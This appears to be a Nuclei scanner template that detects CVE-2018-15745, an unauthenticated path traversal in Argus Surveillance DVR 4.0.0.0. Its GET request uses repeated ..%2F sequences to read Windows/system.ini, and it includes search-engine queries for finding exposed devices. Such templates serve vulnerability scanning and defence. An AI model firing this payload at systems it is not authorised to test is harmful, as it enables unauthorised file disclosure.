id: CVE-2018-15745

info:
  name: Argus Surveillance DVR 4.0.0.0 - Local File Inclusion
  author: gy741
  severity: high
  description: |
    Argus Surveillance DVR 4.0.0.0 devices allow unauthenticated local file inclusion, leading to file disclosure via a ..%2F in the WEBACCOUNT.CGI RESULTPAGE parameter.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server.
  remediation: |
    Upgrade to a patched version of Argus Surveillance DVR.
  reference:
    - http://hyp3rlinx.altervista.org/advisories/ARGUS-SURVEILLANCE-DVR-v4-UNAUTHENTICATED-PATH-TRAVERSAL-FILE-DISCLOSURE.txt
    - http://packetstormsecurity.com/files/149134/Argus-Surveillance-DVR-4.0.0.0-Directory-Traversal.html
    - https://www.exploit-db.com/exploits/45296/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-15745
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-15745
    cwe-id: CWE-22
    epss-score: 0.97709
    epss-percentile: 0.99896
    cpe: cpe:2.3:a:argussurveillance:dvr:4.0.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: argussurveillance
    product: dvr
    shodan-query: http.title:"web viewer for samsung dvr"
    fofa-query: title="web viewer for samsung dvr"
    google-query: intitle:"web viewer for samsung dvr"
  tags: cve,cve2018,packetstorm,edb,argussurveillance,lfi,dvr,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD="

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "for 16-bit app support"
          - "[drivers]"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ce66bfd93236529c300e56c3bf778c4c50294ef734f709e41b8c681f4194ad15022100a3a14c6f97ac57e1852186174b47179d9ccd5640ff2f52cd66958c721ff72366:922c64590222798bb761d5b6d8e72950